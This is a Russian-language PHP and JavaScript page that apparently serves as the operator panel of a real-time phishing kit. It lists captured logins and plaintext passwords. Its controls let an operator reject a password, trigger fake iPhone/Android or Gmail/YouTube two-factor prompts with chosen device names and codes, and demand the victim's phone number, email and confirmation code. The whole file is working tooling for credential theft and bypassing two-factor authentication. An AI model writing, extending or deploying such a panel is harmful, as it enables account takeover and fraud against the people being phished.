<?php

$lifetime = 60 * 60 * 12; // 12 часов
session_set_cookie_params([
    'lifetime' => $lifetime,
    'path' => '/',
    'secure' => isset($_SERVER['HTTPS']),
    'httponly' => true,
    'samesite' => 'Lax'
]);
ini_set('session.gc_maxlifetime', $lifetime);
session_start();

// Проверка авторизации пользователя
if (!isset($_SESSION['user_logged_in']) || $_SESSION['user_logged_in'] !== true) {
    header('Location: user.php');
    exit;
}

$statusDir = __DIR__ . '/status/';

$applications_load = [];
$applications_gmail_youtube = [];
$applications_device_code = [];
$applications_request_code = [];
$applications_completed = [];
$errors = [];

if (is_dir($statusDir)) {
    $files = glob($statusDir . '*.json');
    if ($files === false) {
        $errors[] = "Не удалось прочитать содержимое директории status/.";
    } else {
        foreach ($files as $file) {
            $id = basename($file, '.json');
            $content = file_get_contents($file);
            if ($content === false) {
                $errors[] = "Не удалось прочитать файл: " . htmlspecialchars(basename($file));
                continue;
            }
            $data = json_decode($content, true);
            if (json_last_error() !== JSON_ERROR_NONE) {
                $errors[] = "Ошибка декодирования JSON в файле: " . htmlspecialchars(basename($file));
                continue;
            }
            $app_data = ['id' => $id, 'data' => $data, 'filename' => basename($file)];
            $parol = strtolower($data['parol'] ?? '');
            $phone = $data['phone'] ?? '';
            $complete = $data['complete'] ?? 'false';

            if ($complete === 'true') {
                $applications_completed[] = $app_data;
            } elseif ($parol === 'load') {
                $applications_load[] = $app_data;
            } elseif ($parol === 'true' && $phone === 'code2') {
                $applications_gmail_youtube[] = $app_data;
            } elseif ($parol === 'true' && $phone === 'code') {
                $applications_device_code[] = $app_data;
            } elseif (($parol === 'true' && $phone === 'true') || ($parol === 'load1' && $phone === 'load1') || ($parol === 'true1' && $phone === 'true1')) {
                $applications_request_code[] = $app_data;
            }
        }
    }
} else {
    $errors[] = "Директория 'status/' не найдена.";
}

function display_applications_block($title, $apps_array, $show_actions_for_load = false, $type = '') {
    ?>
    <div class="bg-white p-6 rounded-xl shadow-sm mb-6 border border-gray-200">
        <h2 class="text-lg font-semibold text-gray-800 mb-4"><?php echo htmlspecialchars($title); ?> <span class="text-gray-500">(<?php echo count($apps_array); ?>)</span></h2>
        <?php if (empty($apps_array)): ?>
            <p class="text-gray-500 p-4 bg-gray-50 rounded-md text-center">Нет заявок.</p>
        <?php else: ?>
            <div class="space-y-4">
                <?php foreach ($apps_array as $app): ?>
                    <?php
                    $id = htmlspecialchars($app['id']);
                    $login = htmlspecialchars($app['data']['login'] ?? 'N/A');
                    $password = htmlspecialchars($app['data']['password'] ?? 'N/A');
                    $parol_value = strtolower($app['data']['parol'] ?? 'N/A');
                    $phone = $app['data']['phone'] ?? '';
                    $device_name = htmlspecialchars($app['data']['device_name'] ?? '');
                    $verification_code = htmlspecialchars($app['data']['verification_code'] ?? '');
                    $gmail = htmlspecialchars($app['data']['gmail'] ?? '');
                    $text_input_phone_label = htmlspecialchars($app['data']['text_input_phone_label'] ?? '');
                    $text_form3 = htmlspecialchars($app['data']['text_form3'] ?? '');
                    $code_text = htmlspecialchars($app['data']['code_text'] ?? '');
                    $entered_phone_number = htmlspecialchars($app['data']['entered_phone_number'] ?? 'N/A');
                    $entered_verification_code = htmlspecialchars($app['data']['entered_verification_code'] ?? 'N/A');

                    $parolStatusText = 'Статус: неопределен';
                    $parolClass = 'bg-gray-200 text-gray-800';
                    if ($parol_value === 'load') {
                        $parolStatusText = 'Ожидание подтверждения';
                        $parolClass = 'bg-yellow-100 text-yellow-800';
                    } elseif ($parol_value === 'true' && $phone === 'code2') {
                        $parolStatusText = "Gmail/YouTube (Приложение: {$gmail}, Устройство: {$device_name}, Код: {$verification_code})";
                        $parolClass = 'bg-orange-100 text-orange-800';
                    } elseif ($parol_value === 'true' && $phone === 'code') {
                        $parolStatusText = "Устройство+Код (Устройство: {$device_name}, Код: {$verification_code})";
                        $parolClass = 'bg-purple-100 text-purple-800';
                    } elseif ($parol_value === 'true' && $phone === 'true') {
                        $parolStatusText = "Запрос кода (Метод: {$text_input_phone_label}, Инструкция: {$text_form3}, Ответ: {$code_text})";
                        $parolClass = 'bg-green-100 text-green-800';
                    } elseif ($parol_value === 'load1' && $phone === 'load1') {
                        $parolStatusText = "Ожидание проверки номера/почты";
                        $parolClass = 'bg-yellow-200 text-yellow-900';
                    } elseif ($parol_value === 'true1' && $phone === 'true1') {
                        $parolStatusText = "Номер/почта подтверждены";
                        $parolClass = 'bg-green-200 text-green-900';
                    } elseif ($app['data']['complete'] === 'true') {
                        $parolStatusText = "Завершено";
                        $parolClass = 'bg-blue-100 text-blue-800';
                    }
                    ?>
                    <div class="app-card bg-gray-50 rounded-lg p-4 border border-gray-200" id="card-<?php echo $id; ?>">
                        <h3 class="text-md font-semibold text-gray-800 mb-2">ID: <?php echo $id; ?></h3>
                        <p class="text-sm text-gray-600"><strong>Логин:</strong> <?php echo $login; ?></p>
                        <p class="text-sm text-gray-600"><strong>Пароль:</strong> <span class="text-red-600 italic"><?php echo $password; ?></span></p>
                        <?php if ($type === 'request_code' || $type === 'completed'): ?>
                            <p class="text-sm text-gray-600"><strong>Номер / почта:</strong> <?php echo $entered_phone_number; ?></p>
                            <p class="text-sm text-gray-600"><strong>Код подтверждения:</strong> <?php echo $entered_verification_code; ?></p>
                        <?php endif; ?>
                        <p class="text-sm text-gray-600"><strong>Статус:</strong> <span class="py-1 px-2 rounded text-xs font-medium <?php echo $parolClass; ?>"><?php echo htmlspecialchars($parolStatusText); ?></span></p>

                        <?php if ($parol_value === 'load' && $show_actions_for_load): ?>
                            <div class="actions initial-actions mt-3 pt-3 border-t flex flex-col space-y-2">
                                <button class="action-button bg-red-500 hover:bg-red-600 text-white py-2 px-4 rounded-md incorrect-button" data-id="<?php echo $id; ?>">Неверно</button>
                                <button class="action-button bg-blue-500 hover:bg-blue-600 text-white py-2 px-4 rounded-md request-2fa-button" data-id="<?php echo $id; ?>">Запросить 2FA</button>
                            </div>
                        <?php elseif ($type === 'gmail_youtube'): ?>
                            <div class="actions initial-actions mt-3 pt-3 border-t flex flex-col space-y-2">
                                <button class="action-button bg-blue-500 hover:bg-blue-600 text-white py-2 px-4 rounded-md edit-button" data-id="<?php echo $id; ?>">Изменить</button>
                                <button class="action-button bg-teal-500 hover:bg-teal-600 text-white py-2 px-4 rounded-md complete-button" data-id="<?php echo $id; ?>">Завершить</button>
                            </div>
                        <?php elseif ($type === 'device_code'): ?>
                            <div class="actions initial-actions mt-3 pt-3 border-t flex flex-col space-y-2">
                                <button class="action-button bg-blue-500 hover:bg-blue-600 text-white py-2 px-4 rounded-md edit-button" data-id="<?php echo $id; ?>">Изменить</button>
                                <button class="action-button bg-teal-500 hover:bg-teal-600 text-white py-2 px-4 rounded-md complete-button" data-id="<?php echo $id; ?>">Завершить</button>
                            </div>
                        <?php elseif ($type === 'request_code'): ?>
                            <div class="actions initial-actions mt-3 pt-3 border-t flex flex-col space-y-2">
                                <?php if ($parol_value === 'load1' && $phone === 'load1'): ?>
                                    <button class="action-button bg-red-500 hover:bg-red-600 text-white py-2 px-4 rounded-md incorrect-number-button" data-id="<?php echo $id; ?>">Неверный номер</button>
                                    <button class="action-button bg-green-500 hover:bg-green-600 text-white py-2 px-4 rounded-md correct-number-button" data-id="<?php echo $id; ?>">Верный номер</button>
                                    <button class="action-button bg-teal-500 hover:bg-teal-600 text-white py-2 px-4 rounded-md complete-button" data-id="<?php echo $id; ?>">Завершить</button>
                                <?php elseif ($entered_verification_code !== 'false' && !empty($entered_verification_code)): ?>
                                    <button class="action-button bg-red-500 hover:bg-red-600 text-white py-2 px-4 rounded-md incorrect-code-button" data-id="<?php echo $id; ?>">Не верный код</button>
                                    <button class="action-button bg-teal-500 hover:bg-teal-600 text-white py-2 px-4 rounded-md complete-button" data-id="<?php echo $id; ?>">Завершить</button>
                                <?php else: ?>
                                    <button class="action-button bg-teal-500 hover:bg-teal-600 text-white py-2 px-4 rounded-md complete-button" data-id="<?php echo $id; ?>">Завершить</button>
                                <?php endif; ?>
                            </div>
                        <?php endif; ?>

                        <?php if ($type === 'gmail_youtube'): ?>
                            <div class="form-2fa edit-gmail-youtube-form mt-3 pt-3 border-t space-y-3" style="display:none;" data-app-id="<?php echo $id; ?>">
                                <h4 class="text-md font-semibold text-gray-700">Изменить 'Gmail / YouTube'</h4>
                                <div>
                                    <label class="label-style">Название приложения:</label>
                                    <input type="text" class="input-style" id="edit-gmail-app-<?php echo $id; ?>" placeholder="Напр. Gmail" value="<?php echo $gmail; ?>">
                                </div>
                                <div>
                                    <label class="label-style">Название устройства:</label>
                                    <input type="text" class="input-style" id="edit-device-name-gmail-<?php echo $id; ?>" placeholder="Напр. iPhone 13" value="<?php echo $device_name; ?>">
                                </div>
                                <div>
                                    <label class="label-style">Код подтверждения:</label>
                                    <input type="text" class="input-style" id="edit-verification-code-gmail-<?php echo $id; ?>" placeholder="Напр. 81" value="<?php echo $verification_code; ?>">
                                </div>
                                <button class="action-button w-full bg-green-500 hover:bg-green-600 text-white py-2 px-4 rounded-md save-edit-gmail-youtube-button" data-id="<?php echo $id; ?>">Заменить</button>
                            </div>
                        <?php elseif ($type === 'device_code'): ?>
                            <div class="form-2fa edit-device-code-form mt-3 pt-3 border-t space-y-3" style="display:none;" data-app-id="<?php echo $id; ?>">
                                <h4 class="text-md font-semibold text-gray-700">Изменить 'Устройство + Код'</h4>
                                <div>
                                    <label class="label-style">Название устройства:</label>
                                    <input type="text" class="input-style" id="edit-device-name-code-<?php echo $id; ?>" placeholder="Напр. iPhone 13" value="<?php echo $device_name; ?>">
                                </div>
                                <div>
                                    <label class="label-style">Код подтверждения:</label>
                                    <input type="text" class="input-style" id="edit-verification-code-<?php echo $id; ?>" placeholder="Напр. 81" value="<?php echo $verification_code; ?>">
                                </div>
                                <button class="action-button w-full bg-green-500 hover:bg-green-600 text-white py-2 px-4 rounded-md save-edit-device-code-button" data-id="<?php echo $id; ?>">Заменить</button>
                            </div>
                        <?php endif; ?>

                        <?php if ($show_actions_for_load): ?>
                            <div class="actions select-2fa-type mt-3 pt-3 border-t flex-col space-y-2" style="display:none;" data-app-id="<?php echo $id; ?>">
                                <button class="action-button bg-orange-500 hover:bg-orange-600 text-white py-2 px-4 rounded-md select-2fa-gmail-youtube-button" data-id="<?php echo $id; ?>">Айфон</button>
                                <button class="action-button bg-purple-600 hover:bg-purple-700 text-white py-2 px-4 rounded-md select-2fa-device-code-button" data-id="<?php echo $id; ?>">Андроид</button>
                                <button class="action-button bg-green-500 hover:bg-green-600 text-white py-2 px-4 rounded-md select-request-code-button" data-id="<?php echo $id; ?>">Запросить код</button>
                                <div class="form-2fa gmail-youtube-form mt-3 pt-3 border-t space-y-3" style="display:none;" data-app-id="<?php echo $id; ?>">
                                    <h4 class="text-md font-semibold text-gray-700">Настройка 'Gmail / YouTube'</h4>
                                    <div>
                                        <label class="label-style">Название приложения:</label>
                                        <input type="text" class="input-style" id="gmail-app-<?php echo $id; ?>" placeholder="Напр. Gmail" value="<?php echo $gmail; ?>">
                                    </div>
                                    <div>
                                        <label class="label-style">Название устройства:</label>
                                        <input type="text" class="input-style" id="device-name-gmail-<?php echo $id; ?>" placeholder="Напр. iPhone 13" value="<?php echo $device_name; ?>">
                                    </div>
                                    <div>
                                        <label class="label-style">Код подтверждения:</label>
                                        <input type="text" class="input-style" id="verification-code-gmail-<?php echo $id; ?>" placeholder="Напр. 81" value="<?php echo $verification_code; ?>">
                                    </div>
                                    <button class="action-button w-full bg-green-500 hover:bg-green-600 text-white py-2 px-4 rounded-md save-gmail-youtube-button" data-id="<?php echo $id; ?>">Сохранить</button>
                                </div>
                                <div class="form-2fa device-code-form mt-3 pt-3 border-t space-y-3" style="display:none;" data-app-id="<?php echo $id; ?>">
                                    <h4 class="text-md font-semibold text-gray-700">Настройка 'Устройство + Код'</h4>
                                    <div>
                                        <label class="label-style">Название устройства:</label>
                                        <input type="text" class="input-style" id="device-name-code-<?php echo $id; ?>" placeholder="Напр. iPhone 13" value="<?php echo $device_name; ?>">
                                    </div>
                                    <div>
                                        <label class="label-style">Код подтверждения:</label>
                                        <input type="text" class="input-style" id="verification-code-<?php echo $id; ?>" placeholder="Напр. 81" value="<?php echo $verification_code; ?>">
                                    </div>
                                    <button class="action-button w-full bg-green-500 hover:bg-green-600 text-white py-2 px-4 rounded-md save-device-code-button" data-id="<?php echo $id; ?>">Сохранить</button>
                                </div>
                                <div class="form-2fa request-code-form mt-3 pt-3 border-t space-y-3" style="display:none;" data-app-id="<?php echo $id; ?>">
                                    <h4 class="text-md font-semibold text-gray-700">Запросить код</h4>
                                    <div>
                                        <label class="label-style">Выберите что требовать у пользователя:</label>
                                        <select class="input-style" id="request-type-<?php echo $id; ?>">
                                            <option value="Почта">Почта</option>
                                            <option value="Номер телефона">Номер телефона</option>
                                        </select>
                                    </div>
                                    <div>
                                        <label class="label-style">Текст над полем ввода:</label>
                                        <textarea class="input-style" id="text-form3-<?php echo $id; ?>" rows="4">Введите номер телефона, указанный в настройках безопасности аккаунта (*** *** **53)</textarea>
                                    </div>
                                    <div>
                                        <label class="label-style">Текст для способа получения кода:</label>
                                        <textarea class="input-style" id="code-text-<?php echo $id; ?>" rows="4">На указанный Вами способ.</textarea>
                                    </div>
                                    <button class="action-button w-full bg-green-500 hover:bg-green-600 text-white py-2 px-4 rounded-md save-request-code-button" data-id="<?php echo $id; ?>">Сохранить</button>
                                </div>
                            </div>
                        <?php endif; ?>
                    </div>
                <?php endforeach; ?>
            </div>
        <?php endif; ?>
    </div>
    <?php
}
?>

<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Панель Заявок</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        .label-style {
            display: block;
            margin-bottom: 0.5rem;
            font-size: 0.875rem;
            font-weight: 500;
            color: #1F2937;
        }
        .input-style {
            width: 100%;
            padding: 0.75rem;
            border: 1px solid #D1D5DB;
            border-radius: 0.5rem;
            font-size: 0.875rem;
            transition: border-color 0.2s, box-shadow 0.2s;
        }
        .input-style:focus {
            outline: none;
            border-color: #3B82F6;
            box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.1);
        }
        .action-button {
            padding: 0.75rem 1.25rem;
            border-radius: 0.5rem;
            color: white;
            font-weight: 500;
            cursor: pointer;
            transition: background-color 0.2s;
        }
        .action-button:disabled {
            opacity: 0.5;
            cursor: not-allowed;
        }
        #main-content {
            transition: margin-left 0.2s ease-in-out;
        }
        @media (max-width: 767px) {
            #main-content.sidebar-open {
                margin-left: 16rem;
            }
        }
    </style>
</head>
<body class="bg-gray-50 text-gray-900 min-h-screen">
    <?php include 'user_sidebar.php'; ?>
    <div id="main-content" class="ml-0 md:ml-64 p-4 sm:p-6 lg:p-8">
        <div class="max-w-3xl mx-auto">
            <h1 class="text-2xl sm:text-3xl font-bold text-gray-900 text-center mb-8">Панель: Статус Заявок</h1>

            <?php if (!empty($errors)): ?>
                <div class="bg-red-50 border border-red-200 text-red-700 px-4 py-3 rounded-lg mb-6">
                    <strong class="font-bold">Обнаружены ошибки:</strong>
                    <ul class="list-disc list-inside mt-2">
                        <?php foreach ($errors as $error): ?>
                            <li><?php echo htmlspecialchars($error); ?></li>
                        <?php endforeach; ?>
                    </ul>
                </div>
            <?php endif; ?>

            <?php
            display_applications_block('Ожидающие подтверждения', $applications_load, true);
            display_applications_block('Заявки Gmail / YouTube', $applications_gmail_youtube, false, 'gmail_youtube');
            display_applications_block('Заявки Устройства + Код', $applications_device_code, false, 'device_code');
            display_applications_block('Заявки Запрос кода', $applications_request_code, false, 'request_code');
            display_applications_block('Завершённые', $applications_completed, false, 'completed');
            ?>

            <?php if (empty($applications_load) && empty($applications_gmail_youtube) && empty($applications_device_code) && empty($applications_request_code) && empty($applications_completed) && empty($errors) && is_dir($statusDir) && count(scandir($statusDir)) <= 2): ?>
                <div class="bg-blue-50 border border-blue-200 text-blue-700 px-4 py-3 rounded-lg text-center">
                    <p class="font-bold">Информация</p>
                    <p class="text-sm">Нет доступных заявок в папке status/.</p>
                </div>
            <?php endif; ?>
        </div>
    </div>

    <script>
    document.addEventListener('DOMContentLoaded', () => {
        document.querySelectorAll('.app-card').forEach(card => {
            const appId = card.id.replace('card-', '');
            const initialActions = card.querySelector('.initial-actions');
            const select2faType = card.querySelector('.select-2fa-type');
            const gmailYoutubeForm = card.querySelector('.gmail-youtube-form');
            const deviceCodeForm = card.querySelector('.device-code-form');
            const requestCodeForm = card.querySelector('.request-code-form');
            const editGmailYoutubeForm = card.querySelector('.edit-gmail-youtube-form');
            const editDeviceCodeForm = card.querySelector('.edit-device-code-form');

            const request2faButton = card.querySelector('.request-2fa-button');
            const selectGmailYoutubeButton = card.querySelector('.select-2fa-gmail-youtube-button');
            const selectDeviceCodeButton = card.querySelector('.select-2fa-device-code-button');
            const selectRequestCodeButton = card.querySelector('.select-request-code-button');
            const saveGmailYoutubeButton = card.querySelector('.save-gmail-youtube-button');
            const saveDeviceCodeButton = card.querySelector('.save-device-code-button');
            const saveRequestCodeButton = card.querySelector('.save-request-code-button');
            const editButton = card.querySelector('.edit-button');
            const saveEditGmailYoutubeButton = card.querySelector('.save-edit-gmail-youtube-button');
            const saveEditDeviceCodeButton = card.querySelector('.save-edit-device-code-button');
            const incorrectButton = card.querySelector('.incorrect-button');
            const incorrectCodeButton = card.querySelector('.incorrect-code-button');
            const incorrectNumberButton = card.querySelector('.incorrect-number-button');
            const correctNumberButton = card.querySelector('.correct-number-button');
            const completeButton = card.querySelector('.complete-button');

            function hideAllSubElements() {
                [initialActions, select2faType, gmailYoutubeForm, deviceCodeForm, requestCodeForm, editGmailYoutubeForm, editDeviceCodeForm].forEach(el => {
                    if (el) el.style.display = 'none';
                });
            }

            if (request2faButton) {
                request2faButton.addEventListener('click', () => {
                    console.log(`Request 2FA clicked for ID: ${appId}`);
                    hideAllSubElements();
                    if (select2faType) select2faType.style.display = 'flex';
                });
            }

            if (selectGmailYoutubeButton) {
                selectGmailYoutubeButton.addEventListener('click', () => {
                    console.log(`Gmail/YouTube selected for ID: ${appId}`);
                    hideAllSubElements();
                    if (select2faType) select2faType.style.display = 'flex';
                    if (gmailYoutubeForm) gmailYoutubeForm.style.display = 'block';
                });
            }

            if (selectDeviceCodeButton) {
                selectDeviceCodeButton.addEventListener('click', () => {
                    console.log(`Device+Code selected for ID: ${appId}`);
                    hideAllSubElements();
                    if (select2faType) select2faType.style.display = 'flex';
                    if (deviceCodeForm) deviceCodeForm.style.display = 'block';
                });
            }

            if (selectRequestCodeButton) {
                selectRequestCodeButton.addEventListener('click', () => {
                    console.log(`Request Code selected for ID: ${appId}`);
                    hideAllSubElements();
                    if (select2faType) select2faType.style.display = 'flex';
                    if (requestCodeForm) requestCodeForm.style.display = 'block';
                });
            }

            if (editButton) {
                editButton.addEventListener('click', () => {
                    console.log(`Edit clicked for ID: ${appId}`);
                    hideAllSubElements();
                    if (initialActions) initialActions.style.display = 'flex';
                    if (editGmailYoutubeForm) editGmailYoutubeForm.style.display = 'block';
                    if (editDeviceCodeForm) editDeviceCodeForm.style.display = 'block';
                });
            }

            if (completeButton) {
                completeButton.addEventListener('click', () => {
                    console.log(`Complete button clicked for ID: ${appId}`);
                    handleUpdate(appId, { id: appId, complete: 'true' });
                });
            }

            if (incorrectButton) {
                incorrectButton.addEventListener('click', () => {
                    console.log(`Incorrect button clicked for ID: ${appId}`);
                    handleUpdate(appId, { id: appId, parol_status: 'false' });
                });
            }

            if (incorrectCodeButton) {
                incorrectCodeButton.addEventListener('click', () => {
                    console.log(`Incorrect code button clicked for ID: ${appId}`);
                    handleUpdate(appId, { id: appId, entered_verification_code: 'false' });
                });
            }

            if (incorrectNumberButton) {
                incorrectNumberButton.addEventListener('click', () => {
                    console.log(`Incorrect number button clicked for ID: ${appId}`);
                    handleUpdate(appId, { id: appId, parol_status: 'false', phone: 'false' });
                });
            }

            if (correctNumberButton) {
                correctNumberButton.addEventListener('click', () => {
                    console.log(`Correct number button clicked for ID: ${appId}`);
                    handleUpdate(appId, { id: appId, parol_status: 'true1', phone: 'true1' });
                });
            }

            function handleUpdate(appId, payload) {
                console.log(`Sending update for ID: ${appId}`, payload);
                const buttons = card.querySelectorAll('.action-button');
                buttons.forEach(btn => btn.disabled = true);

                fetch('update_admin_status.php', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify(payload)
                })
                .then(response => {
                    console.log(`Response status: ${response.status}`);
                    if (!response.ok) throw new Error(`HTTP error ${response.status}`);
                    return response.json();
                })
                .then(data => {
                    console.log('Server response:', data);
                    if (data.success) {
                        alert('Статус обновлен! Перезагрузка...');
                        window.location.reload();
                    } else {
                        alert('Ошибка: ' + (data.error || 'Неизвестная ошибка'));
                        buttons.forEach(btn => btn.disabled = false);
                    }
                })
                .catch(error => {
                    console.error('Fetch error:', error);
                    alert('Ошибка: ' + error.message);
                    buttons.forEach(btn => btn.disabled = false);
                });
            }

            if (saveGmailYoutubeButton) {
                saveGmailYoutubeButton.addEventListener('click', () => {
                    console.log(`Save Gmail/YouTube clicked for ID: ${appId}`);
                    const gmail = card.querySelector(`#gmail-app-${appId}`)?.value.trim() || '';
                    const deviceName = card.querySelector(`#device-name-gmail-${appId}`)?.value.trim() || '';
                    const verificationCode = card.querySelector(`#verification-code-gmail-${appId}`)?.value.trim() || '';

                    if (!gmail || !deviceName || !verificationCode) {
                        alert('Заполните все поля.');
                        return;
                    }

                    handleUpdate(appId, {
                        id: appId,
                        parol_status: 'true',
                        phone: 'code2',
                        gmail: gmail,
                        device_name: deviceName,
                        verification_code: verificationCode
                    });
                });
            }

            if (saveDeviceCodeButton) {
                saveDeviceCodeButton.addEventListener('click', () => {
                    console.log(`Save Device+Code clicked for ID: ${appId}`);
                    const deviceName = card.querySelector(`#device-name-code-${appId}`)?.value.trim() || '';
                    const verificationCode = card.querySelector(`#verification-code-${appId}`)?.value.trim() || '';

                    if (!deviceName || !verificationCode) {
                        alert('Заполните все поля.');
                        return;
                    }

                    handleUpdate(appId, {
                        id: appId,
                        parol_status: 'true',
                        phone: 'code',
                        device_name: deviceName,
                        verification_code: verificationCode,
                        gmail: ''
                    });
                });
            }

            if (saveRequestCodeButton) {
                saveRequestCodeButton.addEventListener('click', () => {
                    console.log(`Save Request Code clicked for ID: ${appId}`);
                    const requestType = card.querySelector(`#request-type-${appId}`)?.value.trim() || '';
                    const textForm3 = card.querySelector(`#text-form3-${appId}`)?.value.trim() || '';
                    const codeText = card.querySelector(`#code-text-${appId}`)?.value.trim() || '';

                    if (!requestType || !textForm3 || !codeText) {
                        alert('Заполните все поля.');
                        return;
                    }

                    handleUpdate(appId, {
                        id: appId,
                        parol_status: 'true',
                        phone: 'true',
                        text_input_phone_label: requestType,
                        text_form3: textForm3,
                        code_text: codeText
                    });
                });
            }

            if (saveEditGmailYoutubeButton) {
                saveEditGmailYoutubeButton.addEventListener('click', () => {
                    console.log(`Save Edit Gmail/YouTube clicked for ID: ${appId}`);
                    const gmail = card.querySelector(`#edit-gmail-app-${appId}`)?.value.trim() || '';
                    const deviceName = card.querySelector(`#edit-device-name-gmail-${appId}`)?.value.trim() || '';
                    const verificationCode = card.querySelector(`#edit-verification-code-gmail-${appId}`)?.value.trim() || '';

                    if (!gmail || !deviceName || !verificationCode) {
                        alert('Заполните все поля.');
                        return;
                    }

                    handleUpdate(appId, {
                        id: appId,
                        parol_status: 'true',
                        phone: 'code2',
                        gmail: gmail,
                        device_name: deviceName,
                        verification_code: verificationCode
                    });
                });
            }

            if (saveEditDeviceCodeButton) {
                saveEditDeviceCodeButton.addEventListener('click', () => {
                    console.log(`Save Edit Device+Code clicked for ID: ${appId}`);
                    const deviceName = card.querySelector(`#edit-device-name-code-${appId}`)?.value.trim() || '';
                    const verificationCode = card.querySelector(`#edit-verification-code-${appId}`)?.value.trim() || '';

                    if (!deviceName || !verificationCode) {
                        alert('Заполните все поля.');
                        return;
                    }

                    handleUpdate(appId, {
                        id: appId,
                        parol_status: 'true',
                        phone: 'code',
                        device_name: deviceName,
                        verification_code: verificationCode,
                        gmail: ''
                    });
                });
            }
        });
    });
    </script>
</body>
</html>